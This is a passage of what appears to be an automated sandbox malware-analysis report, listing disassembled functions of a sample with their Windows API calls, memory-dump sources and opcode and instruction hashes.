Opcode Fuzzy Hash: fb94a165544a799f799d92d1cfaadda03cf0e03ff00a903cef25901c42debaeb
Instruction Fuzzy Hash: 7061D87DC01259AFEB27EF68CCC19AE77FAEF49314B644029E504EB160E73899418F91

Function 03FB9FBB Relevance: 13.7, APIs: 9, Instructions: 205COMMON

Download Yara Rule

APIs

____lc_codepage_func.LIBCMT ref: 03FBA046
__getenv_helper_nolock.LIBCMT ref: 03FBA068
_free.LIBCMT ref: 03FBA09F
_strlen.LIBCMT ref: 03FBA0A6
__malloc_crt.LIBCMT ref: 03FBA0AD
_strlen.LIBCMT ref: 03FBA0C3
_strcpy_s.LIBCMT ref: 03FBA0D1
__invoke_watson.LIBCMT ref: 03FBA0E6
_free.LIBCMT ref: 03FBA0F5

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _free_strlen$____lc_codepage_func__getenv_helper_nolock__invoke_watson__malloc_crt_strcpy_s
String ID:
API String ID: 2056778627-0
Opcode ID: fb94a165544a799f799d92d1cfaadda03cf0e03ff00a903cef25901c42debaeb
Instruction ID: 961060546ea7c9bc715d3d39281963bf904a476d4bf0ed35a625328c70c16a54
Opcode Fuzzy Hash: fb94a165544a799f799d92d1cfaadda03cf0e03ff00a903cef25901c42debaeb
Instruction Fuzzy Hash: 4361A3F2D05356AFEF15EF66CC818EEB7B9EB45310B28406AE540EF160E73598418F20

Function 02D09730 Relevance: 13.7, APIs: 9, Instructions: 195timeCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,7A8163DF,00000000,?,?,?,00000000,02D2125B,000000FF,?,02D0E04E,00000000), ref: 02D09773
InitializeCriticalSectionAndSpinCount.KERNEL32(02D0E1AE,00000000,?,?,?,00000000,02D2125B,000000FF,?,02D0E04E), ref: 02D09812
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,02D2125B,000000FF,?,02D0E04E), ref: 02D09850
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,02D2125B,000000FF,?,02D0E04E), ref: 02D09875
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,02D2125B,000000FF,?,02D0E04E), ref: 02D0989A

Part of subcall function 02D01280: __CxxThrowException@8.LIBCMT ref: 02D01290
Part of subcall function 02D01280: DeleteCriticalSection.KERNEL32(00000000,02D0D3E6,02D26624,?,?,02D0D3E6,?,?,?,?,02D25A40,00000000), ref: 02D012A1

Part of subcall function 02D0CE10: InitializeCriticalSectionAndSpinCount.KERNEL32(02D0E076,00000000,7A8163DF,02D0E04E,76F92F60,00000000,?,02D0E226,02D2110B,000000FF,?,02D0994A,02D0E226), ref: 02D0CE67
Part of subcall function 02D0CE10: InitializeCriticalSectionAndSpinCount.KERNEL32(02D0E08E,00000000,?,02D0E226,02D2110B,000000FF,?,02D0994A,02D0E226,?,?,?,00000000,02D2125B,000000FF), ref: 02D0CE83

InterlockedExchange.KERNEL32(02D0E066,00000000), ref: 02D099A0
timeGetTime.WINMM(?,?,?,00000000,02D2125B,000000FF,?,02D0E04E), ref: 02D099A6
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,00000000,02D2125B,000000FF,?,02D0E04E), ref: 02D099B4
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,02D2125B,000000FF,?,02D0E04E), ref: 02D099BD

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CreateEvent$CriticalSection$CountInitializeSpin$DeleteException@8ExchangeInterlockedThrowTimetime
String ID:
API String ID: 1400036169-0
Opcode ID: a54763b38956bbd1a86b77770a69aeeb1627d6dc916fda42f7d9f06f1182c8d4
Instruction ID: c8cad6006d6cee5462a817f4df3862f5e34ca1e8d4238b8a2e1e090d6e9222f9
Opcode Fuzzy Hash: a54763b38956bbd1a86b77770a69aeeb1627d6dc916fda42f7d9f06f1182c8d4
Instruction Fuzzy Hash: 8881D6B0A01A46BFD354DF7A89C479AFBA8FB08304F50862EE12C97740D775A964CF90

Function 02D03500 Relevance: 13.6, APIs: 9, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 02D03660: CreateWaitableTimerW.KERNEL32(00000000,00000000,00000000), ref: 02D03667
Part of subcall function 02D03660: _free.LIBCMT ref: 02D0369C
Part of subcall function 02D03660: _malloc.LIBCMT ref: 02D036D7
Part of subcall function 02D03660: _memset.LIBCMT ref: 02D036E5

InterlockedIncrement.KERNEL32(02D31F0C), ref: 02D03565
InterlockedIncrement.KERNEL32(02D31F0C), ref: 02D03573
setsockopt.WS2_32(?,0000FFFF,00001001,?,00000004), ref: 02D0359A
setsockopt.WS2_32(?,0000FFFF,00001002,?,00000004), ref: 02D035B3
ResetEvent.KERNEL32(?,?,?,02D31F0C), ref: 02D035EE
SetLastError.KERNEL32(00000000), ref: 02D03621
GetLastError.KERNEL32 ref: 02D03639

Part of subcall function 02D03F60: GetCurrentThreadId.KERNEL32 ref: 02D03F65
Part of subcall function 02D03F60: send.WS2_32(?,02D249C0,00000010,00000000), ref: 02D03FC6
Part of subcall function 02D03F60: SetEvent.KERNEL32(?), ref: 02D03FE9
Part of subcall function 02D03F60: InterlockedExchange.KERNEL32(?,00000000), ref: 02D03FF5
Part of subcall function 02D03F60: WSACloseEvent.WS2_32(?), ref: 02D04003
Part of subcall function 02D03F60: shutdown.WS2_32(?,00000001), ref: 02D0401B
Part of subcall function 02D03F60: closesocket.WS2_32(?), ref: 02D04025

SetLastError.KERNEL32(00000000), ref: 02D03649

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: ErrorEventInterlockedLast$Incrementsetsockopt$CloseCreateCurrentExchangeResetThreadTimerWaitable_free_malloc_memsetclosesocketsendshutdown
String ID:
API String ID: 127459856-0
Opcode ID: 197041681b85303b92153bda70f58ef54def5a077744186c9bd6499473d79fac
Instruction ID: 1687e1784ada1f1f8301d213e0b8fabd2944844b98797376fae2ac834215b9c1
Opcode Fuzzy Hash: 197041681b85303b92153bda70f58ef54def5a077744186c9bd6499473d79fac
Instruction Fuzzy Hash: 68418EB16407049FD3A0DF69DC85B6AB7E4FB48711F50486EEA46D3790D7B1E8048B50

Function 00973500 Relevance: 13.6, APIs: 9, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 00973660: CreateWaitableTimerW.KERNEL32(00000000,00000000,00000000), ref: 00973667
Part of subcall function 00973660: _free.LIBCMT ref: 0097369C
Part of subcall function 00973660: _malloc.LIBCMT ref: 009736D7
Part of subcall function 00973660: _memset.LIBCMT ref: 009736E5

InterlockedIncrement.KERNEL32(0098D990), ref: 00973565
InterlockedIncrement.KERNEL32(0098D990), ref: 00973573
setsockopt.WS2_32(?,0000FFFF,00001001,?,00000004), ref: 0097359A
setsockopt.WS2_32(?,0000FFFF,00001002,?,00000004), ref: 009735B3
ResetEvent.KERNEL32(?,?,?,0098D990), ref: 009735EE
SetLastError.KERNEL32(00000000), ref: 00973621
GetLastError.KERNEL32 ref: 00973639

Part of subcall function 00973F60: GetCurrentThreadId.KERNEL32 ref: 00973F65
Part of subcall function 00973F60: send.WS2_32(?,00987440,00000010,00000000), ref: 00973FC6
Part of subcall function 00973F60: SetEvent.KERNEL32(?), ref: 00973FE9
Part of subcall function 00973F60: InterlockedExchange.KERNEL32(?,00000000), ref: 00973FF5
Part of subcall function 00973F60: WSACloseEvent.WS2_32(?), ref: 00974003
Part of subcall function 00973F60: shutdown.WS2_32(?,00000001), ref: 0097401B
Part of subcall function 00973F60: closesocket.WS2_32(?), ref: 00974025

SetLastError.KERNEL32(00000000), ref: 00973649

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: ErrorEventInterlockedLast$Incrementsetsockopt$CloseCreateCurrentExchangeResetThreadTimerWaitable_free_malloc_memsetclosesocketsendshutdown
String ID:
API String ID: 127459856-0
Opcode ID: e0d7c3e981270277acad66a1495f617e27647d05f76902b02c52a6b101a985a6
Instruction ID: 29295673adf16032e235de15c78e1b44f1a856b4b145858cd0d8da2b6c458c01
Opcode Fuzzy Hash: e0d7c3e981270277acad66a1495f617e27647d05f76902b02c52a6b101a985a6
Instruction Fuzzy Hash: E641A4B2604704AFD360EF69DC81B5AB7E8FB88700F50842EF64AD7780D7B5E9049B51

Function 02D04430 Relevance: 13.6, APIs: 9, Instructions: 93synchronizationtimeCOMMON

Download Yara Rule

APIs

ResetEvent.KERNEL32(?), ref: 02D04443
ResetEvent.KERNEL32(?), ref: 02D0444C
timeGetTime.WINMM ref: 02D0444E
InterlockedExchange.KERNEL32(?,00000000), ref: 02D0445D
WaitForSingleObject.KERNEL32(?,00001770), ref: 02D044AB
ResetEvent.KERNEL32(?), ref: 02D044C8

Part of subcall function 02D03F60: GetCurrentThreadId.KERNEL32 ref: 02D03F65
Part of subcall function 02D03F60: send.WS2_32(?,02D249C0,00000010,00000000), ref: 02D03FC6
Part of subcall function 02D03F60: SetEvent.KERNEL32(?), ref: 02D03FE9
Part of subcall function 02D03F60: InterlockedExchange.KERNEL32(?,00000000), ref: 02D03FF5
Part of subcall function 02D03F60: WSACloseEvent.WS2_32(?), ref: 02D04003
Part of subcall function 02D03F60: shutdown.WS2_32(?,00000001), ref: 02D0401B
Part of subcall function 02D03F60: closesocket.WS2_32(?), ref: 02D04025

ResetEvent.KERNEL32(?), ref: 02D044DC

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Event$Reset$ExchangeInterlocked$CloseCurrentObjectSingleThreadTimeWaitclosesocketsendshutdowntime
String ID:
API String ID: 542259498-0
Opcode ID: 3bddb8f51be9d4765995deaf9294577770afd50b0de5a61c16adedf0f065cdeb
Instruction ID: 3afba703f727b9264329803ed621f4c9fbae40e55eb80b31e19e787de9a6361f
Opcode Fuzzy Hash: 3bddb8f51be9d4765995deaf9294577770afd50b0de5a61c16adedf0f065cdeb
Instruction Fuzzy Hash: 0B214F766407046BC330EB69DC88F97B3E8EF99710F104A1EF68AC7790D671E8148BA0

Function 00974430 Relevance: 13.6, APIs: 9, Instructions: 93synchronizationtimeCOMMON

Download Yara Rule

APIs

ResetEvent.KERNEL32(?), ref: 00974443
ResetEvent.KERNEL32(?), ref: 0097444C
timeGetTime.WINMM ref: 0097444E
InterlockedExchange.KERNEL32(?,00000000), ref: 0097445D
WaitForSingleObject.KERNEL32(?,00001770), ref: 009744AB
ResetEvent.KERNEL32(?), ref: 009744C8

Part of subcall function 00973F60: GetCurrentThreadId.KERNEL32 ref: 00973F65
Part of subcall function 00973F60: send.WS2_32(?,00987440,00000010,00000000), ref: 00973FC6
Part of subcall function 00973F60: SetEvent.KERNEL32(?), ref: 00973FE9
Part of subcall function 00973F60: InterlockedExchange.KERNEL32(?,00000000), ref: 00973FF5
Part of subcall function 00973F60: WSACloseEvent.WS2_32(?), ref: 00974003
Part of subcall function 00973F60: shutdown.WS2_32(?,00000001), ref: 0097401B
Part of subcall function 00973F60: closesocket.WS2_32(?), ref: 00974025

ResetEvent.KERNEL32(?), ref: 009744DC

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: Event$Reset$ExchangeInterlocked$CloseCurrentObjectSingleThreadTimeWaitclosesocketsendshutdowntime
String ID:
API String ID: 542259498-0
Opcode ID: c2920721286019c30cea39f657c44ba1db92b0625bcd1e7e263872539399072d
Instruction ID: 29ddb0552e88844fa1182d9db831dfdee810ab9da1033e446a8ee99c7b5c63a8
Opcode Fuzzy Hash: c2920721286019c30cea39f657c44ba1db92b0625bcd1e7e263872539399072d
Instruction Fuzzy Hash: A0218D76614B04ABC630EF79EC85B97B3E8FF89710F104A1EF58EC7250D671A8049BA1

Function 02D04E80 Relevance: 13.6, APIs: 9, Instructions: 70COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000139F,?), ref: 02D04E99
TryEnterCriticalSection.KERNEL32(?,?), ref: 02D04EB8
TryEnterCriticalSection.KERNEL32(?), ref: 02D04EC2
SetLastError.KERNEL32(0000139F), ref: 02D04ED9
LeaveCriticalSection.KERNEL32(?), ref: 02D04EE2
LeaveCriticalSection.KERNEL32(?), ref: 02D04EE9

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterErrorLastLeave
String ID:
API String ID: 4082018349-0
Opcode ID: 010915a580e305948dcb9d668baaf3da55f02a62f5b2bbc56e75dd5b43b5eeec
Instruction ID: 8cc82cb0359103dc40fe95e782dce091358f609e624432ed6176212368492f5d
Opcode Fuzzy Hash: 010915a580e305948dcb9d668baaf3da55f02a62f5b2bbc56e75dd5b43b5eeec
Instruction Fuzzy Hash: 121163326043048BD330EA69EC88A6BB7E8EF58325B00092EFA55C3690DA71ED14C6A5

Function 00974E60 Relevance: 13.6, APIs: 9, Instructions: 70COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000139F,?), ref: 00974E79
TryEnterCriticalSection.KERNEL32(?,?), ref: 00974E98
TryEnterCriticalSection.KERNEL32(?), ref: 00974EA2
SetLastError.KERNEL32(0000139F), ref: 00974EB9
LeaveCriticalSection.KERNEL32(?), ref: 00974EC2
LeaveCriticalSection.KERNEL32(?), ref: 00974EC9

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeave
String ID:
API String ID: 4082018349-0
Opcode ID: f66bd2e2bddfd49811552c3af46a927edf0315d36b8eba95cbe3bb13c6750c08
Instruction ID: 37eade8e265418cd52d45207278730e4e6871349be14f1e90f3aadfa78aac080
Opcode Fuzzy Hash: f66bd2e2bddfd49811552c3af46a927edf0315d36b8eba95cbe3bb13c6750c08
Instruction Fuzzy Hash: 101160336147048BC320EF79AC85A6BB3ECFF88721B404A2AE609C6651DB61D804C7A5

Function 02D0DD10 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000007F), ref: 02D0DD32
SetLastError.KERNEL32(0000007F), ref: 02D0DE35

Strings

Main, xrefs: 02D0DD1F, 02D0DD5C

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID: Main
API String ID: 1452528299-521822810
Opcode ID: 78449a350d230b83027ff442ef3032615b06031102b27c43f2f9be1bd9b21021
Instruction ID: a3b9b58bbd22a4d1dac6eebedf142081fcd615de104cacd9e5e21e3ebad453fb
Opcode Fuzzy Hash: 78449a350d230b83027ff442ef3032615b06031102b27c43f2f9be1bd9b21021
Instruction Fuzzy Hash: 5741E231A403059FE720DF98D8C0B6AB3E6FF64314F0445AAE8458B7A1E771ED45CB90

Function 02D03F60 Relevance: 12.1, APIs: 8, Instructions: 79networkthreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 02D03F65
SetLastError.KERNEL32(0000139F,?,76F8DFA0,02D03648), ref: 02D04054

Part of subcall function 02D02BC0: InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 02D02BD6
Part of subcall function 02D02BC0: SwitchToThread.KERNEL32 ref: 02D02BEA

send.WS2_32(?,02D249C0,00000010,00000000), ref: 02D03FC6
SetEvent.KERNEL32(?), ref: 02D03FE9
InterlockedExchange.KERNEL32(?,00000000), ref: 02D03FF5
WSACloseEvent.WS2_32(?), ref: 02D04003
shutdown.WS2_32(?,00000001), ref: 02D0401B
closesocket.WS2_32(?), ref: 02D04025

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: EventExchangeInterlockedThread$CloseCompareCurrentErrorLastSwitchclosesocketsendshutdown
String ID:
API String ID: 3254528666-0
Opcode ID: 68b6ccf07495d735ef62d0cfd2cb988c900348870cb6779beeab8f50f4101102
Instruction ID: 2a845df58b2d69ca6b343b88d7dd8d199c0569e1b9eaef72e7872d4a81cb4508
Opcode Fuzzy Hash: 68b6ccf07495d735ef62d0cfd2cb988c900348870cb6779beeab8f50f4101102
Instruction Fuzzy Hash: 3A2144706407009BD3309B28D88CB5BB7B9BB94714F104E0CFA8296BE0C7B6E849CB50

Function 00973F60 Relevance: 12.1, APIs: 8, Instructions: 79networkthreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00973F65
SetLastError.KERNEL32(0000139F,?,76F8DFA0,00973648), ref: 00974054

Part of subcall function 00972B80: InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 00972B96
Part of subcall function 00972B80: SwitchToThread.KERNEL32 ref: 00972BAA

send.WS2_32(?,00987440,00000010,00000000), ref: 00973FC6
SetEvent.KERNEL32(?), ref: 00973FE9
InterlockedExchange.KERNEL32(?,00000000), ref: 00973FF5
WSACloseEvent.WS2_32(?), ref: 00974003
shutdown.WS2_32(?,00000001), ref: 0097401B
closesocket.WS2_32(?), ref: 00974025

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: EventExchangeInterlockedThread$CloseCompareCurrentErrorLastSwitchclosesocketsendshutdown
String ID:
API String ID: 3254528666-0
Opcode ID: 96ddbd3c41ff4dd121916df3f772ee3965a605c63939e8a8e5f01271d0108a41
Instruction ID: 273a6098549205ac62a508bfd3fd6f97c72dc5a844e40d6793e38066b5f74a51
Opcode Fuzzy Hash: 96ddbd3c41ff4dd121916df3f772ee3965a605c63939e8a8e5f01271d0108a41
Instruction Fuzzy Hash: 36212A72214B009BE3309F79D888B5BB7F9BB84714F14891CF28A9B791C7B5E845DB90

Function 02D04060 Relevance: 12.1, APIs: 8, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000000,02D04039,?,76F8DFA0,02D03648), ref: 02D04074
ResetEvent.KERNEL32(?,?,00000000,02D04039,?,76F8DFA0,02D03648), ref: 02D04087
ResetEvent.KERNEL32(?,?,00000000,02D04039,?,76F8DFA0,02D03648), ref: 02D04090
ResetEvent.KERNEL32(?,?,00000000,02D04039,?,76F8DFA0,02D03648), ref: 02D04099

Part of subcall function 02D01350: HeapFree.KERNEL32(?,00000000,?,?,?,02D040A6,?,00000000,02D04039,?,76F8DFA0,02D03648), ref: 02D01390

Part of subcall function 02D01420: HeapFree.KERNEL32(?,00000000,?,?,?,02D040B1,?,00000000,02D04039,?,76F8DFA0,02D03648), ref: 02D0143D
Part of subcall function 02D01420: _free.LIBCMT ref: 02D01459

HeapDestroy.KERNEL32(?,?,00000000,02D04039,?,76F8DFA0,02D03648), ref: 02D040B9
HeapCreate.KERNEL32(?,?,?,?,00000000,02D04039,?,76F8DFA0,02D03648), ref: 02D040D4
SetEvent.KERNEL32(?,?,00000000,02D04039,?,76F8DFA0,02D03648), ref: 02D04150
LeaveCriticalSection.KERNEL32(?,?,00000000,02D04039,?,76F8DFA0,02D03648), ref: 02D04157

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: EventHeap$Reset$CriticalFreeSection$CreateDestroyEnterLeave_free
String ID:
API String ID: 1219087420-0
Opcode ID: cad0a95d1ef60a3da59276dece35a5525002768d6c4a4ad6dab07df7364b4e9a
Instruction ID: a91e790f62a304a51b29a78d29c348de201780a659cc9bb5b27c28f6087a8ac6
Opcode Fuzzy Hash: cad0a95d1ef60a3da59276dece35a5525002768d6c4a4ad6dab07df7364b4e9a
Instruction Fuzzy Hash: 7B314870600A02AFD705DB34D898B96F7A9FF48310F148649E5298B3A0CB35BD25CFE0

Function 00974060 Relevance: 12.1, APIs: 8, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000000,00974039,?,76F8DFA0,00973648), ref: 00974074
ResetEvent.KERNEL32(?,?,00000000,00974039,?,76F8DFA0,00973648), ref: 00974087
ResetEvent.KERNEL32(?,?,00000000,00974039,?,76F8DFA0,00973648), ref: 00974090
ResetEvent.KERNEL32(?,?,00000000,00974039,?,76F8DFA0,00973648), ref: 00974099

Part of subcall function 00971350: HeapFree.KERNEL32(?,00000000,?,?,?,009740A6,?,00000000,00974039,?,76F8DFA0,00973648), ref: 00971390

Part of subcall function 00971420: HeapFree.KERNEL32(?,00000000,?,?,?,009740B1,?,00000000,00974039,?,76F8DFA0,00973648), ref: 0097143D
Part of subcall function 00971420: _free.LIBCMT ref: 00971459

HeapDestroy.KERNEL32(?,?,00000000,00974039,?,76F8DFA0,00973648), ref: 009740B9
HeapCreate.KERNEL32(?,?,?,?,00000000,00974039,?,76F8DFA0,00973648), ref: 009740D4
SetEvent.KERNEL32(?,?,00000000,00974039,?,76F8DFA0,00973648), ref: 00974150
LeaveCriticalSection.KERNEL32(?,?,00000000,00974039,?,76F8DFA0,00973648), ref: 00974157

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: EventHeap$Reset$CriticalFreeSection$CreateDestroyEnterLeave_free
String ID:
API String ID: 1219087420-0
Opcode ID: 42140521eb1b244646a8d0ccc883df17b844c60aee2d3c7402033c0517f1166f
Instruction ID: 85bfc01b4d3b2e7b890c30d730684d4bb2359703c7dea9dec6b70a1e13c01566
Opcode Fuzzy Hash: 42140521eb1b244646a8d0ccc883df17b844c60aee2d3c7402033c0517f1166f
Instruction Fuzzy Hash: 30312671614A02AFD705DF38C898BA6F7A8FF48310F158259E42D8B261DB35B855DFD0

Function 0282B62F Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 351COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0282B839
_memset.LIBCMT ref: 0282B86E

Part of subcall function 0282F0C6: _malloc.LIBCMT ref: 0282F0E0

Strings

gfff, xrefs: 0282B6CF
gfff, xrefs: 0282B6F7
(, xrefs: 0282B7FD
6, xrefs: 0282B820

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _memset$_malloc
String ID: ($6$gfff$gfff
API String ID: 3506388080-713438465
Opcode ID: 33456ebb2468a608b7ebcfb11b4406d8d4d11a59d9dc549158e7697d941f46b7
Instruction ID: 3b5d835bd765d56e6cf592d1355397787fe4e8827e522cd677ff564502ff9744
Opcode Fuzzy Hash: 33456ebb2468a608b7ebcfb11b4406d8d4d11a59d9dc549158e7697d941f46b7
Instruction Fuzzy Hash: ADD16AB9D01318AFDB10EFE9D885A9EBBB9FF48300F104129E505EB251D770A949CF91

Function 03FAFF2B Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 351COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 03FB0135
_memset.LIBCMT ref: 03FB016A

Part of subcall function 03FB39C2: _malloc.LIBCMT ref: 03FB39DC

Strings

6, xrefs: 03FB011C
gfff, xrefs: 03FAFFCB
(, xrefs: 03FB00F9
gfff, xrefs: 03FAFFF3

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _memset$_malloc
String ID: ($6$gfff$gfff
API String ID: 3506388080-713438465
Opcode ID: 33456ebb2468a608b7ebcfb11b4406d8d4d11a59d9dc549158e7697d941f46b7
Instruction ID: f1f5f5a20108470a257b35bad09484f01d2ff920e3e4cd1f1889138f2820129a
Opcode Fuzzy Hash: 33456ebb2468a608b7ebcfb11b4406d8d4d11a59d9dc549158e7697d941f46b7
Instruction Fuzzy Hash: 75D16AB5E00318AFDB14DFE6DC85A9EFBB9FF48300F104529E905AB250D774A906CB91

Function 02D02140 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 303COMMON

Download Yara Rule

APIs

Part of subcall function 02D01610: __vswprintf.LIBCMT ref: 02D01646

_malloc.LIBCMT ref: 02D02330

Part of subcall function 02D0F673: __FF_MSGBANNER.LIBCMT ref: 02D0F68C
